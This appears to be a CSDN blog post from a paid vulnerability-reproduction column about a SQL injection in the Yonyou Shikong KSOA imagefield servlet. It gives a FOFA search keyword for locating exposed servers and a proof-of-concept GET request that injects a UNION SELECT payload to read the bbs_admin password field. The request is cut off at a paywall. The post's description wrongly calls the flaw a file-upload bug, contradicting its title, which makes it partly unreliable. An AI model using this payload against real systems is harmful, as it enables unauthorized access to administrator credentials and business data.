用友时空-KSOA-imagefield-sql注入

最新推荐文章于 2024-07-19 17:26:37 发布

今天晚上早睡觉

最新推荐文章于 2024-07-19 17:26:37 发布

阅读量165

点赞数 6

分类专栏：漏洞复现文章标签： web安全

本文链接：https://blog.csdn.net/weixin_43567873/article/details/137046924

版权

漏洞复现专栏收录该内容

361 篇文章 119 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

漏洞描述

用友时空KSOA是建立在SOA理念指导下研发的新一代产品,是根据流通企业前沿的IT需求推出的统一的IT基础架构,它可以让流通企业各个时期建立的IT系统之间彼此轻松对话。用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限。

受影响版本

用友-时空KSOA

FOFA关键字

app=”用友-时空KSOA”

漏洞复现

POC:

GET /servlet/imagefield?key=readimage&sImgname=password&sTablename=bbs_admin&sKeyname=id&sKeyvalue=-1'+union+select+sys.fn_varbintohexstr(hashbytes('md5','123456'))--+ HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (

了解本专栏